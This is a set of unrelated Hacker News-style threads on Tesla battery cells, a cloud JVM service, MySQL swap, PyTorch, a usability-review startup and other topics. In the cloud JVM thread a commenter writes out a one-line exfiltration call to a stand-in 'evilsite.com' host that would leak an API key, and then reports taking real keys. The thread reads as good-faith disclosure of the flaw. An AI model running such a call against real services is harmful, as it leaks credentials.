</comment></comment><comment><USER23> One problem I've had before was if one cell in a pack is damaged and replaced, the BMS balance current would take forever to flatten the pack.

Do you know if Tesla has any way of improving or making this faster?

</comment><comment><USER24> Seems like there is a lot of room for improvement?

Reducing the sheer number of casings on individual cells would radically reduce weight/volume.

Then with less groups of cells you could actually have the BMS monitor them like my lifepo lithium battery for bicycle.

<comment><USER25> I'm pretty sure the casings are there for fire isolation

<comment><USER24> Yes but couldn't you have a casing that holds a dozen cells instead of a casing on each individual cell?

If a cell burns it is going to take out its neighbors anyway.

Or they could start to do something similar to LiFePo4 which will not burn.

</comment></comment></comment><comment><USER26> That's pretty interesting and is testament to the versatility of the 18650 cell package!

I'm rebuilding ThinkPad X200 9-cell this weekend that is filled with 18650s and repaired a PBX about 15 years ago that had them in it so they appear literally everywhere.

</comment><comment><USER27> Are the QR codes only used for manufacturing lines or tech support? It would be awesome if there was an open database where I could find replacement parts for particular devices.

</comment><comment><USER28> Can we hurry with the electric buses already...

</comment><comment><USER29> From what I've read these packs have around 7000 3100mAH NCR-18650s. Over the years I've used these NCRs (or lower mAH versions) individually in special flashlights - and while they seem to have good reliability overall, one did fail on me while charging. Thats why often hobbyists charge these outside in fireproof bags.

I would be terrified to drive a car with this technology.

<comment><USER30> 18650 is the form factor. These cells don't use the usual chemistry. Do you really think that the form factor is dangerous?

<comment><USER29> Yes, of course 18650 is the form factor.

From what I understand these are stock Panasonic NCR-18650 3100 mAH batteries though.

Any ideas on what "special chemistry" they are using?

<comment><USER30> Every article I've seen about the battery says that it doesn't use the usual chemistry, and that only the form factor is standard. I figured you would have something factual to say, given that you're saying you know it's dangerous.

<comment><USER29> I'm not sure what you are trying to do - but I almost fell for it.

First, I specifically stated "3100mAH NCR-18650s" which is a specific part, not a form factor which anyone who handles these batteries would know - <USER3> was your first (confused) reply.

Second, from everywhere I have read, like (1) these are just standard cells.

Lastly, I was originally stating that I would feel unsafe being around this technology. I did not say "the technology is unsafe."

If it makes you feel better, Tesla as a company gives me great hope and I am rooting for them. I do not have ties to anyone at all.

It would have been nice if you could have simply pointed to some factual reason (like breser did above) why I shouldn't be worried.

(1) [http://www.greencarreports.com/news/1084682_what-goes- into-a...](http://www.greencarreports.com/news/1084682_what-goes-into-a-tesla- model-s-battery--and-what-it-may-cost)

<comment><USER31> Yeah, I would be terrified of driving around in a car that's basically a metal box around a bomb ready to go, those batteries are deadly.

I think what needs to be done is to build a car around many gallons of highly flammable liquid.

<comment><USER29> I'm waiting for Mr Fusion.</comment></comment></comment></comment></comment></comment></comment>


Cloud-Based JVM Platform? - Chancla-io https://www.chancla.io/ <comment><AUTHOR> For your submission, you might want to think about writing a blog post instead of linking to your front page. The question mark in the title is also misleading when it's your own site.

As for the site, you probably need to break your examples out into a separate page (apart from maybe one, that demonstrates some killer features), and think carefully about how much to include above the fold. There are 164 words across the three boxes, and you will lose people.

As for the service - personally I don't quite get it. Is the idea "ease of PHP, power of serverless JVM" ? Not sure why I want inexperienced developers contributing to my projects?

And a question:

      "During run-time, Chancla.io replaces the security token with the real API security key before calling the third-party API."

Then you show:

      new URL("https://api.mlab.com/api/1/databases/commerce-db/collections/cart?apiKey={{mlab_security_key}}")

Is that an example shared security key? Could I exfiltrate that by doing this?:

      new URL("https://evilsite.com/steal?key={{mlab_security_key}}")

<comment> Chancla-io Appreciate your insightful feedback, very helpful!

Here's a few follow-on responses:

1\. Your feedback about individual blog posts is completely correct. We will definitely go that direction with new content. 2\. The killer feature list is still absent on the home page. We will correct that. 3\. I can tell you are very experienced developer. If you are looking for new projects, please let me know, we can use someone like you on our team (not kidding). Regarding your inexperienced developers comment, I'm fairly certain all companies would love to have a team full of experienced developers, like yourself, I know I would. Unfortunately, not every company has a roster full of experienced developers. Most teams contain a blend of experienced and inexperienced developers, and the experienced developers are often too busy solving hard problems, which leaves the inexperienced developers to fend themselves. Not really the best scenario for most companies. Would you agree? 4\. If you issue the command, new URL("[https://evilsite.com/steal?key={{mlab_security_key}}"](https://evilsite.com/steal?key={{mlab_security_key}}")) in our sandbox editor, you will not exfiltrate the actual security key. You will receive a page not found error or bad request error. That said, if you are able to exfiltrate the actual security key, please let us know, that's a security bug on our end.

Thank you again for your comments!

<comment><AUTHOR> OK - I believe I exfil'd the mLab and NASA security keys. The first ends in 'Sdu' and the second ends in 'C7V'. Do you want me to email you?

</comment></comment></comment><comment><USER2> What is the advantage of JVM if there is no Jar deployments. Other than language syntax, most reasons to use JVM is to get all of those libraries

<comment><AUTHOR> I think they're saying you don't need to package your own jar, and that other libraries are available - I guess through a Maven/gradle setup.

But not sure! ¯\\_(ツ)_/¯

<comment> Chancla-io Yes, you are correct. The libraries are available on the JVM Host. No need for Maven/gradle setup to launch applications with Chancla.io.

</comment></comment></comment><comment><USER3> No Clojure support? No pricing?

<comment> Chancla-io Thank you for your questions.

No Clojure support, yet. Definitely, Clojure support is on the road map.

The pricing will be available later this month.</comment></comment>


MySQL and the Linux swap problem - <AUTHOR> http://blogs.smugmug.com/don/2008/05/01/mysql-and-the-linux-swap-problem/

<comment><USER2> Even with a lot of system RAM, this is kinda risky. I think a better approach would be to create a logical volume group--primary volume being the RAM drive, secondary an actual disk partition--and mount it as swap. That way you get the best of both worlds: ultra-fast swap space that spills over to disk if necessary.

</comment><comment> patrickg-zill I don't mean to sound smug, but I recommend they try Solaris, which seems to have excellent performance when dealing with large amounts of RAM (greater than 8GB) and also has excellent multithread performance.

</comment><comment><USER3> So... why not just turn swap off completely? I have done it a few times accidentally and once intentionally (when I was encrypting my HD). That would get the exact same result that they are getting.

<comment><USER4> He mentions that in the third paragraph, they had problems with kswapd.</comment></comment>


Impossible Coin in Super Mario 64 - <AUTHOR> https://www.youtube.com/watch?v=iPILIf7ru48 <comment><USER2> The exploration and reasoning here is like a detailed report on a science experiment. I liked the layout of the presentation from noticing an incongruity to explaining exactly what was happening. Then the video surprised me by putting forth a hypothesis on why the 'world' was the way it was.

It has benefits over real-world experimentation because the fundamentals of the system are known and everything can be observed. No messy approximations are needed. Most guesses can be confirmed. But then we still end up with an unconfirmed hypothesis about how the situation came up in the first place. Reasoning is presented but there's no way to confirm it beyond asking...the creators.

The tooling used to recreate certain game situations is like a magical testing apparatus that doesn't really exist in the real world.

</comment><comment><USER3> I respect the amount of effort and time that goes into videos like these. It's the best part of internet.

<comment><USER4> Check out the SM64 parallel universes video if you really wanna get your mind blown.

<comment><USER5> Video in question: [https://www.youtube.com/watch?v=kpk2tdsPh0A](https://www.youtube.com/watch?v=kpk2tdsPh0A)

<comment><USER6> Wow, that was amazing! And the complex combination of tricks and glitches, along with the math to understand them, was very artfully done!

</comment></comment></comment></comment><comment><USER7> Didn't even have to click the link to know it was Pannen. The guy truly embodies the concept of Virtual Exploration.

If you haven't done so already, go ahead and watch his Watch For Rolling Rocks .5 A Press commentary.

</comment><comment><USER8> Awh I wish he'd shown a hacked implementation of slope X and how the bowling balls would have rolled the other way :)

</comment><comment><USER9> If you like this, you would probably appreciate

[https://www.reddit.com/r/videogamescience/](https://www.reddit.com/r/videogamescience/)

And

[https://www.reddit.com/r/TheMakingOfGames/](https://www.reddit.com/r/TheMakingOfGames/)

</comment><comment><USER10> I love these types of videos that dive into the nitty-gritty of how certain games work. I wish the author would have explained more why there is no position that the coin spawner works correctly in. Are they saying that while playing the game there's no way to move it, or that even if the coin spawner were placed correctly (on the ground) it would still not work?

<comment><USER11> No, the video is saying that if the coin spawner were in the usual location (above ground) it would work fine. It postulates that this was an oversight: at one point the ground was raised (to provide a ramp for the bowling balls) and they forgot to raise the spawner with it.

<comment><USER12> Both were stated in the video. seems contradicting:

\- [https://youtu.be/iPILIf7ru48?t=4m4s](https://youtu.be/iPILIf7ru48?t=4m4s)

\- [https://youtu.be/iPILIf7ru48?t=8m11s](https://youtu.be/iPILIf7ru48?t=8m11s)

<comment><USER11> No, it's saying there's no mechanism (aside from directly modifying the game code) with which to move the spawner into a position that works. It's not saying that no such position exists.

</comment></comment></comment></comment><comment><USER13> I'd like to see a video of someone playing a modified version of this level, with the original slope restored.

</comment><comment><USER14> This is some fine digital archaeology.

</comment><comment><USER15> I love development postmortems of games from my childhood.

</comment><comment><USER16> I know it's a little late but I'n entitled to a refund. or Nintendo should release a patch. lol</comment>


Deep Learning with PyTorch: A 60 Minute Blitz [video] - <AUTHOR> https://pytorch.org/tutorials/beginner/deep_learning_60min_blitz.html <comment><USER2> For anyone who's interested in learning PyTorch, here's the best video course I was able to find:

[https://www.youtube.com/playlist?list=PLZbbT5o_s2xrfNyHZsM6u...](https://www.youtube.com/playlist?list=PLZbbT5o_s2xrfNyHZsM6ufI0iZENK9xgG)

They explain things incredibly well, videos are easy to understand, engaging, and to the point. Highly recommend it to everyone!

I've also heard that Udacity has some good courses, but I can't vouch for those yet.

<comment><USER3> Do you have any more recommendations?

I'm an undergrad student, and I'm nervous about picking between Tensorflow+Keras over PyTorch.

It looks like many more companies are hiring for TensorFlow, and there's a wealth of information out there on learning ML with it. In addition, it just got the 2.0 update.

But, PyTorch is preferred nearly every single time when I see the discussion come up on HN and Google searches. I'm having a hard time deciding what to dedicate my time to.

<comment><USER4> Abstract from the tools. They come and go. You will need to adopt a new one every other year.

Instead, make sure to understand the math and the concepts, and then it's easy to translate that to an implementation.

One way of doing this (though not sufficient) is to learn both tools.

Right now the pull is away from TF (increasingly convoluted API and lots of deprecations) and towards pytorch (more support from the research community and increasing performance in production).

</comment></comment></comment><comment><AUTHOR> I posted this link but now the title has somehow changed. I do not know what is the policy on HN. But the title saying "[video]" might give a wrong impression that this points to a one hour long video. The link points to a tutorial which embeds an _entirely optional_ two minute video that introduces the main content contained in five web pages.

<comment><USER5> I was very confused when I clicked the link, spent a while looking for the full video.

</comment></comment><comment><USER6> One thing I've noticed is that it's quite hard to have vibrant discussions about DL because it is all either so simple or it is dauntingly complicated/unpredictable. Mostly my DL conversations end up being about frameworks. Anyone else experience this?

Also the number of DL submissions on HN seems surprisingly low given the applicability of the technology.

<comment><USER7> It's pretty easy when you're talking to people who understand the fundamentals of deep learning, but that understanding isn't very common even on HN. I think that's because the real-world, valuable usecases of DL are not very accessible:

(a) DL is pretty complicated in a way that's unfamiliar to most software engineers. You are consistently working with Tensors that have a couple more dimensions than people are used to holding in their heads (i.e. images mean you are typically working with 4D Tensors).

(b) You learn from academic papers, not blogs. It's a new workflow for many software people and intimidating to some (although the papers are usually closer to blog posts than rigorous academic papers).

(c) It's very difficult to learn deep learning on your own without it getting pretty expensive. Advanced uses pretty much require GPUs/TPUs and that's either a big upfront purchase or a serious per-experiment cost.

(d) Deep Learning is not a single field. It is CV, NLP, RL, speech recognition and probably others I'm forgetting about. They overlap, but it further reduces the number of people you can have informed discussions with because being knowledgeable about computer vision does not mean you are able to have a vibrant discussion about NLP.

<comment><USER8> Could you list some of the places you look to learn? Where do you find relevant academic papers? It's hard to find information about what this learning workflow is.

Any recommended resources?

</comment></comment></comment><comment><USER9> Ugh its so easy compared to what i've been wrangling in tensorflow.

<comment><USER10> Keep in mind that tutorials will always make it look easy compared to debugging actual production code. If you look through tensorflow tutorials, they also look very easy, especially with TF2.

That said, I've experimented with pytorch and I agree that it is really nice to work with.

Disclaimer: I work at Google and do use tensorflow, though I don't work on the tensorflow team.

<comment><USER11> PyTorch is 10x easier to debug than even TF2, and it's been that way all along. TF2 is no easier to debug than the previous releases if you're not using eager mode (which most people don't), and even in eager mode it sometimes errors out in ways that do not offer any suggestion as to _which op_ caused the error. This is nuts. Modern architectures have hundreds, sometimes thousands of ops. It basically boils down to flying blind and guessing and can easy take days of trial and error to figure out each issue. Plus, every time you start a TF program it just sort of sits there for a minute or so before it starts doing anything. This severely hampers productivity when debugging.

To all the folks who are just starting out: just go with PyTorch. It's downright intuitive compared to anything Google has been able to put out so far.

Disclosure: ex-Googler. Used TF while there (and DistBelief before it). Gave it up as soon as PyTorch came out. Couldn't be happier.

</comment></comment></comment><comment><USER12> Very good that Pytorch emerged as a serious contender to TF. While TF still provided more production grade tools (TFX, TensorRT, TF serving), Pytorch continue to evolve and hope soon we have a more complete ecosystem

<comment><USER13> I really like JAX as well: [https://github.com/google/jax](https://github.com/google/jax). It's younger than PyTorch and TF, but feels cleaner and more expressive. It has a very nice autodiff implementation (based on [https://github.com/HIPS/autograd](https://github.com/HIPS/autograd)) and performance is comparable to TF in my experience.

<comment><USER7> It feels like JAX doesn't have any of the high-level APIs that PT/TF/MXNet that are vital for fast prototyping of model architectures. Is that correct?

<comment><USER13> It has stax, which is a minimal example of how to build a high level library: [https://github.com/google/jax/blob/master/jax/experimental/s...](https://github.com/google/jax/blob/master/jax/experimental/stax.py)

It seems that the JAX developers are focusing their time on making the core framework better and are leaving the task of building high-level APIs to the community for now. I suspect we'll see a few high-level APIs emerge over the next few months that explore different approaches before the community settles on a particular one.

<comment><USER7> I hope not. That's part of what makes TF so miserable - the core library didn't provide the tooling people actually needed so the community built a ton of different tools and it just made TF confusing to use.

</comment></comment></comment></comment></comment><comment><USER14> Is there a drop in replacement for TensorBoard? It's probably the biggest thing keeping me using tensorflow. Ideally the api of the pytorch equivalent would be about the same too.

I answered my own comment before posting it. But in case it's helpful to anyone else, I'll put the answer here: yes, TensorBoardX. Looks like it's very easy to use: [https://tensorboardx.readthedocs.io/en/latest/tutorial.html](https://tensorboardx.readthedocs.io/en/latest/tutorial.html)

Anyone have thoughts on TF2.0 vs pytorch? Over on Twitter people seem to be pretty hyped about TF2.0, but when I tried learning it it just felt... not very fun. I need to give it a fair shot though.

<comment><USER15> PyTorch supports logging into TensorBoard too ...More details can be found at [https://pytorch.org/docs/stable/tensorboard.html](https://pytorch.org/docs/stable/tensorboard.html)

</comment></comment><comment><USER16> Whoever changed the title did a bad job.

</comment><comment><USER17> Anyone know somewhere that has a good overview of the various ML and DL model types and what they are good for? I've been looking for a survey paper or book or just a glossary of ML.

<comment><USER14> When you hear autoregressive model, think "predicting a sequence". These are good for text to speech since you can say "given some text, generate a spectrogram." GPT-2 is probably the most impressive example of autoregressive techniques (I think).

GANs, and especially stylegan, are good for generating high quality images up to 1024x1024. These take about 5 weeks to train and $1k of GCE credits. The dataset size is around 70k photos for FFHQ. Mode collapse is a concern, which is when the discriminator wins the game and the generator fails to generate anything that can fool it. Stylegan has some built in techniques to combat this. IMLEs recently showed that mode collapse can be solved without gans at all.

Hmm.. what else... I'll update this as I think of stuff. Any questions?

EDIT: Regarding IMLE vs GAN, here are some resources:

Mode collapse solved (original claim): [https://twitter.com/KL_Div/status/1168913453744103426](https://twitter.com/KL_Div/status/1168913453744103426)

Overview of mode collapse, why it occurs, and how to solve it with IMLE: [https://people.eecs.berkeley.edu/~ke.li/papers/imle_slides.p...](https://people.eecs.berkeley.edu/~ke.li/papers/imle_slides.pdf)

Paper + code: [https://people.eecs.berkeley.edu/~ke.li/projects/imle/scene_...](https://people.eecs.berkeley.edu/~ke.li/projects/imle/scene_layouts/)

Some simple code for reproducing IMLE from scratch (I haven't seen this referenced many other places; stumbled onto it by accident): [https://people.eecs.berkeley.edu/~ke.li/projects/imle/](https://people.eecs.berkeley.edu/~ke.li/projects/imle/)

Super resolution with IMLE: [https://people.eecs.berkeley.edu/~ke.li/projects/imle/superr...](https://people.eecs.berkeley.edu/~ke.li/projects/imle/superres/)

For comparing images, I believe they use the standard VGG perceptual loss metric that StyleGAN uses. (See section 3.5 of [https://arxiv.org/pdf/1811.12373.pdf](https://arxiv.org/pdf/1811.12373.pdf))

It seems to me that the main disadvantage of IMLE is that you might not get any latent directions that you get with StyleGAN. E.g. I'm not sure you could "make a photograph smile" the way you can with StyleGAN. But in the paper, they show that you can at least interpolate between two latents in much the same way, and the interpolations look pretty solid.

<comment><USER18> I found a strange bifurcation recently while collecting papers on a sub-topic of this question.. China-based authors quoting other China-based authors extensively, in English with math, of course. Meanwhile, the US and Western EU seem like "it" , in other words, all the papers referenced seem like the ones you would reference..etc self-consistant.

<comment><USER19> One of the incredibly unfortunate things about science out of China. It may or may not be trustworthy, as in the data may be just straight false. I'm not surprised that you saw that split, I'd be leary of quoting/referencing a potentially false paper myself.

</comment></comment></comment></comment><comment><USER20> Does PyTorch have a learn to rank module? Tensorflow released a ranking module earlier this year, but I'd like to try out PyTorch.

<comment><USER21> Not as far I know. It does have max-margin loss [1], which is pretty much all you need to implement a neural ranking model, apart from data iterators, and training loops.

[1] ([https://pytorch.org/docs/stable/nn.html?highlight=margin%20l...](https://pytorch.org/docs/stable/nn.html?highlight=margin%20loss#torch.nn.MarginRankingLoss))

</comment></comment><comment><USER22> As a chess player, "60 minute blitz" sounds very wrong.

</comment><comment><USER23> Does no one build their own ml algos anymore? I don't understand the need for pytorch and tensor flow. I honestly thought tensor flow was nothing but a teaching thing for undergrads

<comment><USER24> Not all of us need to build their own ML algos. Just in the same way that not all of us need to build their sorting libraries or data structures. Some people are specialized in this to develop and do research. While other software engineers just want something they can use without much hassle and just a superficial understanding.

<comment><USER25> >Not all of us need to build their own ML algos. Just in the same way that not all of us need to build their sorting libraries or data structures.

And yet they love to ask you to do exactly that at technical interviews... coming up next: what ML algos you need to know to ace that interview.</comment></comment></comment>


History of APIs - <AUTHOR> http://www.apievangelist.com/2012/12/20/history-of-apis/ <comment><USER2> It would be interesting to see an API museum arise. Not just a prose history of APIs, but a history that is accompanied by "snapshots" of said APIs at given points in time.</comment>


Map of Earthquakes in March 2011 - <AUTHOR> http://www.rob-barry.com/blog/2011/10/map-of-earthquakes-in-march-2011/

<comment><USER2> You could just use Raphael and do it in a browser, no need to generate a MOV file.

<comment><AUTHOR> Or I could generate a MOV file using Processing.</comment></comment>


China's Facebook counterpart creates a LinkedIn clone with a Quora twist - <AUTHOR> http://thenextweb.com/asia/2011/03/23/china's-facebook-counterpart-creates-a-linkedin-clone-with-a-quora-twist/

<comment><USER2> The current trend is to clone websites using startup as the keyword.</comment>


Ask YC: Feedback on usabilityfeedback.com - <AUTHOR> http://www.usabilityfeedback.com Hi YCers, I've finished putting together a home page for a service I'm starting at http://www.usabilityfeedback.com , and would really appreciate any feedback on it :) Also, if you're interested in the service, please email me and mention YC and I will take 1/3 off the price.
For a couple years now I've been doing usability reviews for people just for fun. Then two and a half weeks ago I was laid off because the startup I was working for is nearly out of funding. I had had the idea for usabilityfeedback.com for awhile and decided to run with it in a way that would be quick to implement, enjoyable, and that could start generating cash immediately.
So far the response has been very positive, with other web developers I know recommending it to their clients. I'm really hoping it will do well enough that I'll be able to do it full time and have time left over to improve and add more services. Or at least stay off the streets.
Thanks! <comment><USER2> I think you need to put more effort into selling yourself as a usability expert. I'm not going to pay $450 to have just some guy look at my web site. But if you can justify to me why you're an expert whose opinion I need to hear, then you'll have better luck selling to me.

<comment><AUTHOR> One idea I've had for accomplishing this is to do free or reduced-cost reviews for a few (prominent) sites, then post their testimonials along with their reviews.

<comment><USER3> And your credentials are? If you expect people to fork over $450 for 20 min of your time, you better be:

1) an expert in usability and have few papers written on it

2) have many years of actual usability studies and design

3) have designed interfaces yourself and have examples of UIs you've designed.

Just getting testimonials for 'reduced pricing' won't cut it. What you need is a resume/cv. All these big usability experts sell themselves first and their work second. You need to sell people on why they should trust you.

This startup is basically just selling of your services. Here's some ideas. Start by writing whitepapers & studies of other sites. Do them for free. Just pick any known site and say what you'd do differently. Do this for a lot of them. Make a blog and do a study every day. Make a wiki with usability practices. Start recording videos of random users using some site and criticize them.

In short, work on your credibility since that's what you're selling.

<comment><AUTHOR> Thanks for the input. I should point out that it's not 20 minutes of my time. I spend around 15 minutes recording the video, then go through the site and reflect on some of the issues I initially encountered, and explore the site in greater depth (I realize that this isn't mentioned on my site). Then I organize my thoughts and findings in pages that are meant to be easily referenceable. After that, I talk to the client for 20 minutes as well.

The fact is, I am not a big usability expert. I have given a couple talks on the subject and written a few blog articles on the subject (one of which A List Apart was interested in publishing). I've also done a number of usability tests for companies that I have worked for. Therefore, my thinking is that a more feasible approach in the short term is to show that I actually produce good results. Establishing that I'm an expert is something that will take time. Thankfully, I enjoy usability and will enjoy establishing expert status. In the meantime, if you have any suggestions for otherwise convincing people that they should go with me, I would appreciate it.

It's interesting to me that nobody really cares about the "usefulness guarantee".

<comment><USER4> Maybe you should put it above the fold, or at least before you name your price.

But hey, I'm no usability expert either.

<comment><AUTHOR> Yeah, the order of elements is something I'll have to play with.

</comment></comment></comment></comment></comment></comment><comment><AUTHOR> Hi YCers, I've finished putting together a home page for a service I'm starting at <http://www.usabilityfeedback.com> , and would really appreciate any feedback on it. (Incidentally, if you're interested in the service, please email me and mention YC and I will take 33% off the price.)

For a couple years now I've been doing usability reviews for people just for fun. Then two and a half weeks ago I was laid off because the startup I was working for is nearly out of funding. I had had the idea for usabilityfeedback.com for awhile and decided to run with it in a way that would be quick to implement, enjoyable, and that could start generating cash immediately.

So far the response has been very positive, with other web developers I know recommending it to their clients. I'm really hoping it will do well enough that I'll be able to do it full time and have time left over to improve and add more services. Or at least stay off the streets.

Thanks!

<comment><USER5> interesting but people seem to be using great communities like HN for free, and high quality, advice. and not to mention, coming from more than one person.

<comment><AUTHOR> Yeah, that is one of my worries. The response I've gotten from other developers / web dev shops has been enthusiastic, though, so I'm still hoping there's room for me in the market. Just doing one review each business day would be enough for me to cover expenses and begin adding services and reviewers.

I'm not sure if just doing a video and giving detailed, easy-to-reference documents is enough to set me apart, but for now it's a place to start. I also think that being a small shop and giving more personalized service could set me apart, but I haven't emphasized that on my site.

If that doesn't work out I've considered trying to start a usability feedback community. In fact I had one for awhile at <http://www.hallwaytesting.com> (now a defunct blog), but it seemed like most people were interested in just getting feedback and not giving any, or just in advertising their sites. So I'm not sure how to make a community like that work.

<comment><USER6> I also like the idea; but, again things like Hacker News or even if you wanted the video sites like usertesting.com you could get 21 users for the same price.

<comment><AUTHOR> One thing I'm wondering is if I should mention usertesting.com and explain how my service is different from theirs. For example, you could indeed get 21 users for the same price, but they you would have to watch something like 210 minutes of video and read 21 feedback forms, a lot of it covering the same ground. As opposed to ~15 minutes of video and a summary document which clearly points out problem areas and gives possible solutions.

Part of me really thinks Usability Feedback could do well if I just market it well. I'm just not sure what I should do differently. A/B testing would probably help.

<comment><USER7> If I were you I wouldn't mention competitors and how you differ, as you are then 1) promoting competitors and 2) branding yourself vs. the competition, rather than just defining yourself.

Having said that. my quesion was specifically, how many people are going to be reviewing the site for $450?

Different people take a different view of websites/apps, so having a small group of users is a huge benefit, vs. being reviewed by just one person. I wouldn't want to watch 210 minutes of video, but for $450 would expect the video (or whatever else you supply) would be shortened to the most important feedback, and maybe have the full video available if a client wants to watch it.

I would have said that I might have been a potential client, but with only one person reviewing the site, I don't see the value being inline with the cost.

<comment><AUTHOR> Thanks for your feedback. Having a video highlighting the most important feedback is definitely ideal. In fact, it would be great to have relevant video clips on the summary pages as well.

For $450, how many different reviewers would you want? Right now I can easily get up to 3 people to do a review. Alternatively, how much _would_ you pay for a review by a single person? If you're interested, I'd like to work out something that you'd be happy with.

Some people have expressed surprise at the price because they thought it was inexpensive, which was actually surprising to me. Thanks for giving me a better sense of how I should price the service.

If you want we can continue this conversation over email: email@example.com

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> Depends on your background. I mean if Im paying you 450$, I would do little bit of research on your background or your own UI work. 450$ is not much, iff I would expect quality feedback. Inorder for me to be convinced that I would get quality feedback, unfortunately known names or past work play a big role.

</comment><comment><USER9> I get better value watching over many people's shoulders (for free or cheap - maybe not always cash) and listening to users.

My only suggestion: if you're not exploring the set of all target users (just the 'git' guy), why not list what kind of applications you're most fit to test? I would hope to know you're not interested in SVN functionality before forking over $450. Exploring Assembla's SVN functionality could have revealed deeper flaws in their Trac integration. At one point, I was asked to re-enter my username and password in an ugly HTTP authentication dialog.

Offtopic, but for anyone interested in a serious look at UX, I recommend Indi Young's 'Mental Models'

<comment><AUTHOR> Thanks for the feedback. It looks like, on the site, I should clarify what actually goes on when you request feedback. For example, with the Assembla site, if they requested that I review their SVN functionality, that's what I would do. We would have a pre-review conversation going over tasks to perform.

Also, did the "usefulness guarantee" not catch your eye? I mention there that you get your money back if the review isn't useful.

(That's funny that you mention "Mental Models" - I just bought that two days ago.)

<comment><USER9> It caught my eye. I couldn't remember it after watching the video. Thanks for clarifying your workflow.

</comment></comment></comment><comment><USER10> great idea

i saw the sample study about assembla.com. smart comments. however, what i'd really need, as a web app developer, is more substantial advices on how to significantly improve the usability of my web app. maybe you need to post online a usability framework. or maybe a usability redesign of assembla.com.

(i understand you already did a lot of work, just throwing my 2 cents here. if you can do the things above, i'd pay... and even pay much more than the list $450. It's just that I have the impression that I only got 2 pages of comments for $450)

<comment><AUTHOR> Thanks - what did you think of the HTML summary pages? Also, what do you have in mind by usability framework? My friend and I have been considering creating a kind of usability encyclopedia.

</comment></comment><comment><USER11> The video squeals with a high-pitched noise in the background which makes it very hard to watch. Also, some more editing might be worth it: cut out those uhm's and ah's, get a decent mike and make it sound nice and professional. I like the click and typing effects, although I cannot read the text of the site you're clicking on in that video at all.

<comment><AUTHOR> Thanks. I hadn't noticed the high pitched noise until late last night. It is pretty unfortunate and it looks like I'll have to redo the whole thing.

</comment></comment><comment><USER12> Frankly, I think the idea is fundamentally broken. Having a "usability expert" click through a site won't give much more insight than reading a bunch of Nielsen's top 10 usability mistakes and then looking for them in your site.

If you want a truly usable site, you actually have to do real usability tests with a bunch of real users.

</comment><comment><USER13> Great idea, great site but $450 is too much.

<comment><AUTHOR> Thanks for the feedback. How much do you think the service is worth?

<comment><USER14> Don't listen to anyone who talks about price. Price is immaterial. Provide amazing value and you can pick your price.

<comment><USER15> I agree, and I'd link that to why nobody is paying attention to the "usefulness guarantee". You really need to think about who you are selling to. For a corporate client the time and expense and the risk of dealing with you will equal or exceed the $450. Think about the project manager that is going to have to order your service: $450 is not a lot but they are going to have to explain it to others and it's going to look embarrassing if you turn out to be just some random dude on the internet who takes their money and then sends them a bunch of 'duh' statements about their web site. They have a very CYA mentality, which like it or not you have to deal with.

To get started perhaps you could think about a 'first taste is free' model where you do a review of part of their site (say, 1 page) with no obligation and then based on that they can go to their manager and justify the expense.

<comment><AUTHOR> Thank you, that's very helpful.</comment></comment></comment></comment></comment>


The Guide to Handling JWTs on Front End Clients (2019) - <AUTHOR> https://hasura.io/blog/best-practices-of-using-jwt-with-graphql <comment><USER2> It seems to me that everytime I read guides about using JWT and if I would fully follow what was needed to make them secure I'd also loose everything that they say is good about them. At least macaroons offered something new (delegation and third party caveats), and normal cookies can be protected against CSRF and XSS pretty well these days.

I get that how much security you need is a sliding scale, but the closer you move to "secure", the less JWT seem like an acceptable option and the closer you move to "lax" the more macaroons seem like a more interesting option.</comment>


Thousands of Toronto Landlords Have Been Using AI to Screen Tenants - <AUTHOR> http://www.naborly.co/ <comment><USER2> They just got a bunch of funding and added the CEO of InteraXon (brain science / mind control company) to their advisory board.

[http://www.naborly.co/press/naborly-closes-angel-round- expan...](http://www.naborly.co/press/naborly-closes-angel-round-expands- advisory-board/)

<comment><USER3> Is this the angel round (Crunchable) from June or did they raise again?

</comment></comment><comment><USER4> Their CEO was on a panel a few months ago, he talked about their Natural Language Processing system. It was pretty far along in March. Could be an UBER play, def a weird industry...

<comment><USER2> Do you have a link?</comment></comment>